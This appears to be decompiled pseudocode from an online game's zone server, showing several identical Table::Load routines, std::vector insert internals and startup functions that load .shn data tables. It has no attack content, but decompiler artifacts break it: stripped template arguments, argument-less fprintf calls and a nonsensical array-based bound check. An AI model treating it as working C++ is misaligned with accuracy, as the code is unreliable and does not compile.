char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057FBD0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057FD30) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057FE90) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057FFF0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (00580150) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (005802B0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (00580410) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GBEventCode *_Val) { std::vector > *v4; // esi@1 MobType v5; // ecx@1 GB_ANIType v6; // edx@1 GBEventCode *v7; // ebx@1 unsigned int v8; // eax@1 unsigned int v9; // ecx@2 signed int v10; // edx@3 unsigned int v11; // edi@4 int v12; // eax@6 int v13; // eax@11 int v14; // ecx@15 int v15; // eax@18 int v16; // ebx@22 TickTimer *v17; // ST18_4@22 int v18; // eax@22 int v19; // edi@24 TickTimer *v20; // ecx@27 std::vector >::iterator v21; // ebx@27 GBEventCode *v22; // ecx@28 TickTimer *v23; // ST24_4@28 unsigned int v24; // edi@28 int v25; // [sp+0h] [bp-28h]@1 MobType _Tmp; // [sp+Ch] [bp-1Ch]@1 GB_ANIType v27; // [sp+10h] [bp-18h]@1 unsigned int v28; // [sp+14h] [bp-14h]@1 int *v29; // [sp+18h] [bp-10h]@1 int v30; // [sp+24h] [bp-4h]@22 TickTimer *_Wherea; // [sp+30h] [bp+8h]@29 TickTimer *_Counta; // [sp+34h] [bp+Ch]@22 void *_Newvec; // [sp+38h] [bp+10h]@22 TickTimer *_Newveca; // [sp+38h] [bp+10h]@27 v4 = this; v5 = _Val->GameType; v6 = _Val->GB_ANI; v7 = v4->_Myfirst; v8 = _Val->GB_ECode; v29 = &v25; _Tmp = v5; v27 = v6; v28 = v8; if ( v7 ) { v10 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v4->_Myend - (char *)v7)) >> 32) >> 1; v9 = v10 + ((unsigned int)v10 >> 31); } else { v9 = 0; } v11 = _Count; if ( _Count ) { if ( v7 ) v12 = v4->_Mylast - v7; else v12 = 0; if ( 357913941 - v12 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v7 ) v13 = v4->_Mylast - v7; else v13 = 0; if ( v9 >= _Count + v13 ) { v20 = (TickTimer *)v4->_Mylast; v21 = _Where; _Newveca = (TickTimer *)v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 12 >= _Count ) { _Wherea = &v20[-_Count]; v4->_Mylast = (GBEventCode *)std::_Uninit_copy>( &v20[-_Count], v20, v20, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - 12 * _Count)); std::_Copy_backward_opt( *(TickTimer **)&v21, _Wherea, _Newveca, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(TickTimer **)&v21, (TickTimer *)(*(_DWORD *)&v21 + 12 * _Count), (TickTimer *)&_Tmp); } else { std::_Uninit_copy>( *(TickTimer **)&_Where, v20, (TickTimer *)(*(_DWORD *)&_Where + 12 * _Count), (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)(12 * _Count)); v22 = v4->_Mylast; v23 = (TickTimer *)v4->_Mylast; v30 = 2; std::vector>::_Ufill( (std::vector > *)v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 12, (TickTimer *)&_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (GBEventCode *)v24; std::fill( *(TickTimer **)&_Where, (TickTimer *)(v24 - 12 * _Count), (TickTimer *)&_Tmp); } } else { if ( 357913941 - (v9 >> 1) >= v9 ) v14 = (v9 >> 1) + v9; else v14 = 0; if ( v7 ) v15 = v4->_Mylast - v7; else v15 = 0; if ( v14 < _Count + v15 ) v14 = _Count + std::vector>::size((std::vector > *)v4); v16 = 12 * v14; _Newvec = operator new(12 * v14); v17 = (TickTimer *)v4->_Myfirst; v30 = 0; _Counta = std::_Uninit_copy>( v17, *(TickTimer **)&_Where, (TickTimer *)_Newvec, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Counta, v11, (TickTimer *)&_Tmp, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(TickTimer **)&_Where, (TickTimer *)v4->_Mylast, &_Counta[v11], (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v18 = (int)v4->_Myfirst; if ( v18 ) v18 = (signed int)((char *)v4->_Mylast - v18) / 12; v19 = v18 + v11; if ( v4->_Myfirst ) operator delete(v4->_Myfirst); v4->_Myend = (GBEventCode *)((char *)_Newvec + v16); v4->_Mylast = (GBEventCode *)((char *)_Newvec + 12 * v19); v4->_Myfirst = (GBEventCode *)_Newvec; } } } //----- (005806D0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GBReward *_Val) { std::vector > *v4; // ebx@1 GBReward *v5; // edi@1 unsigned int v6; // ecx@2 signed int v7; // edx@3 int v8; // eax@6 int v9; // eax@11 int v10; // ecx@15 int v11; // eax@18 int v12; // edi@22 void *v13; // eax@22 TOURNAMENT_PLAYER_SCORE *v14; // ecx@22 int v15; // eax@22 unsigned int v16; // esi@24 void *v17; // eax@26 char *v18; // edx@26 TOURNAMENT_PLAYER_SCORE *v19; // ecx@27 int v20; // eax@27 GBReward *v21; // ecx@28 TOURNAMENT_PLAYER_SCORE *v22; // ST20_4@28 int v23; // eax@28 int v24; // esi@28 TOURNAMENT_PLAYER_SCORE *v25; // eax@29 void *v26; // ecx@29 int v27; // [sp+0h] [bp-50h]@1 void *_Newvec; // [sp+Ch] [bp-44h]@22 std::_Nonscalar_ptr_iterator_tag __formal[4]; // [sp+10h] [bp-40h]@22 GBReward _Tmp; // [sp+14h] [bp-3Ch]@1 unsigned int v31; // [sp+3Ch] [bp-14h]@1 int *v32; // [sp+40h] [bp-10h]@1 int v33; // [sp+4Ch] [bp-4h]@22 int v34; // [sp+50h] [bp+0h]@1 v4 = this; memcpy(&_Tmp, _Val, sizeof(_Tmp)); v5 = this->_Myfirst; v31 = (unsigned int)&v34 ^ __security_cookie; v32 = &v27; if ( v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Myend - (char *)v5)) >> 32) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } if ( _Count ) { if ( v5 ) v8 = v4->_Mylast - v5; else v8 = 0; if ( (unsigned int)&wholesaver.ws_savestore[1166].esc_skill.buffer[-v8 + 23370] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v19 = (TOURNAMENT_PLAYER_SCORE *)v4->_Mylast; v20 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 40; *(_DWORD *)&__formal[0].dummy[0] = v4->_Mylast; if ( v20 >= _Count ) { _Newvec = &v19[-_Count]; v25 = std::_Uninit_copy>( &v19[-_Count], v19, v19, (std::allocator *)v4, __formal[0]); v26 = _Newvec; v4->_Mylast = (GBReward *)v25; std::copy_backward( *(GBReward **)&_Where, (GBReward *)v26, *(GBReward **)&__formal[0].dummy[0]); std::fill(*(GBReward **)&_Where, (GBReward *)(*(_DWORD *)&_Where + 40 * _Count), &_Tmp); } else { *(_DWORD *)&__formal[0].dummy[0] = 40 * _Count; std::_Uninit_copy>( *(TOURNAMENT_PLAYER_SCORE **)&_Where, v19, (TOURNAMENT_PLAYER_SCORE *)(*(_DWORD *)&_Where + 40 * _Count), (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)(40 * _Count)); v21 = v4->_Mylast; v22 = (TOURNAMENT_PLAYER_SCORE *)v4->_Mylast; v33 = 2; std::vector>::_Ufill( (std::vector > *)v4, v22, _Count - (signed int)((char *)v21 - *(_DWORD *)&_Where) / 40, (TOURNAMENT_PLAYER_SCORE *)&_Tmp); v23 = *(_DWORD *)&__formal[0].dummy[0]; v24 = (int)((char *)v4->_Mylast + *(_DWORD *)&__formal[0].dummy[0]); v4->_Mylast = (GBReward *)v24; std::fill(*(GBReward **)&_Where, (GBReward *)(v24 - v23), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[1166].esc_skill.buffer[-(v6 >> 1) + 23370] >= v6 ) v10 = (v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) v10 = _Count + std::vector>::size((std::vector > *)v4); v12 = 40 * v10; v13 = operator new(40 * v10); v14 = (TOURNAMENT_PLAYER_SCORE *)v4->_Myfirst; _Newvec = v13; v33 = 0; *(_DWORD *)&__formal[0].dummy[0] = std::_Uninit_copy>( v14, *(TOURNAMENT_PLAYER_SCORE **)&_Where, (TOURNAMENT_PLAYER_SCORE *)v13, (std::allocator *)v4, __formal[0]); std::_Uninit_fill_n>( *(TOURNAMENT_PLAYER_SCORE **)&__formal[0].dummy[0], _Count, (TOURNAMENT_PLAYER_SCORE *)&_Tmp, (std::allocator *)v4, __formal[0]); std::_Uninit_copy>( *(TOURNAMENT_PLAYER_SCORE **)&_Where, (TOURNAMENT_PLAYER_SCORE *)v4->_Mylast, (TOURNAMENT_PLAYER_SCORE *)(*(_DWORD *)&__formal[0].dummy[0] + 40 * _Count), (std::allocator *)v4, __formal[0]); v15 = (int)v4->_Myfirst; if ( v15 ) v15 = (signed int)((char *)v4->_Mylast - v15) / 40; v16 = v15 + _Count; if ( v4->_Myfirst ) operator delete(v4->_Myfirst); v17 = _Newvec; v18 = (char *)_Newvec + 40 * v16; v4->_Myend = (GBReward *)((char *)_Newvec + v12); v4->_Mylast = (GBReward *)v18; v4->_Myfirst = (GBReward *)v17; } } } //----- (00580980) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, NPCAction::ICondition *const *_Val) { std::vector > *v4; // esi@1 NPCAction::ICondition **v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #593 **v16; // eax@25 NPCAction::ICondition **v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #593 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (NPCAction::ICondition *const *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#593 **)(v20 - v23); v4->_Mylast = (NPCAction::ICondition **)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#593 ***)&v21, v25, (#593 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#593 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (NPCAction::ICondition **)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#593 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (NPCAction::ICondition **)((char *)_Newvec + _Counta); v4->_Mylast = (NPCAction::ICondition **)((char *)_Newvec + 4 * v19); v4->_Myfirst = (NPCAction::ICondition **)_Newvec; } } } //----- (00580B60) -------------------------------------------------------- int __cdecl ZoneServer_zs_start_house(lua_State *L) { ShineCommonParameter::scp_Load(&shineparam, &world); CharClassManager::ccm_Load(&charclassmanager, &world); NPCManager::nm_Load(&npcmanager, &world); Table::Load("GuildTournamentScore.shn"); Table::Load("GuildTournamentLvGap.shn"); Table::Load("GuildTournamentOccupy.shn"); Table::Load("GuildTournamentSkill.shn"); Table::Load("GuildTournamentMasterBuff.shn"); Table::Load("GTIGetRate.shn"); Table::Load("GTIGetRateGap.shn"); Table::Load("GTIServer.shn"); Table::Load("GTIBreedSubject.shn"); Table::Load("GTWinScore.shn"); return 0; } //----- (00580C00) -------------------------------------------------------- int __cdecl ZoneServer_zs_start_full(lua_State *L) { _iobuf *v1; // esi@1 Table::Load("AccUpGradeInfo.shn"); Table::Load("AccUpGrade.shn"); Table::Load("ProdSucRate.shn"); Table::Load("DamageLvGapPVE.shn"); Table::Load("DamageLvGapEVP.shn"); Table::Load("DamageLvGapPVP.shn"); Table::Load("PKQuestLVGap.shn"); Table::Load("BelongDice.shn"); Table::Load("MysteryVaultServer.shn"); v1 = fopen("Message.txt", "a"); fprintf(v1, "%s\n"); fclose(v1); MultiHitData::MultiHitTable::mht_Load(&_MultiHitTable); return 0; } //----- (00580CA0) -------------------------------------------------------- int __cdecl ZoneServer_zs_start_open(lua_State *L) { unsigned int v1; // edi@1 AbnormalStateContainer::AbstateElementInObject *v2; // esi@2 AbnormalStateContainer::AbstateElementInObject *v3; // esi@8 _iobuf *v4; // esi@13 _iobuf *v5; // esi@13 _iobuf *v6; // esi@13 Table::Load("EnchantSocketRate.shn"); v1 = clockwatch.cw_CurrTick; if ( zonevent.l_Finger.empty == -1 ) v2 = 0; else v2 = zonevent.vfptr->l_AllocZ(&zonevent, *(_DWORD *)&zonevent.l_Finger.empty); if ( !v2 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_Init : EventReserve error", 0); ShineExit("ZoneServer::ZoneServer_zs_start_open"); } *(_DWORD *)&v2->aeo_Flag._bf0 = v1 + 300; v2->aeo_Index = (ABSTATEINDEX)&eventheartping; *(_DWORD *)&v2->gap9[3] = 300; if ( zonevent.l_Finger.empty == -1 ) v3 = 0; else v3 = zonevent.vfptr->l_AllocZ(&zonevent, *(_DWORD *)&zonevent.l_Finger.empty); if ( !v3 ) { AssertClass::ac_AssertFail(&shineassert, "ZoneServer::zs_Init : EventReserve error", 0); ShineExit("ZoneServer::ZoneServer_zs_start_open"); } *(_DWORD *)&v3->aeo_Flag._bf0 = v1 + 10; v3->aeo_Index = (ABSTATEINDEX)&eventmobregen; *(_DWORD *)&v3->gap9[3] = 10; v4 = fopen("Message.txt", "a"); fprintf(v4, "%s\n"); fclose(v4); NPCManager::nm_SetNPC(&npcmanager); v5 = fopen("Message.txt", "a"); fprintf(v5, "%s\n"); fclose(v5); List::l_4AllInList( (List *)&fieldlist, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))FieldMap::fm_StartScript); v6 = fopen("Message.txt", "a"); fprintf(v6, "%s\n"); fclose(v6); return 0; } //----- (00580E10) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GBEventCode *_Val) { std::vector > *v4; // edi@1 GBEventCode *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 1; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD 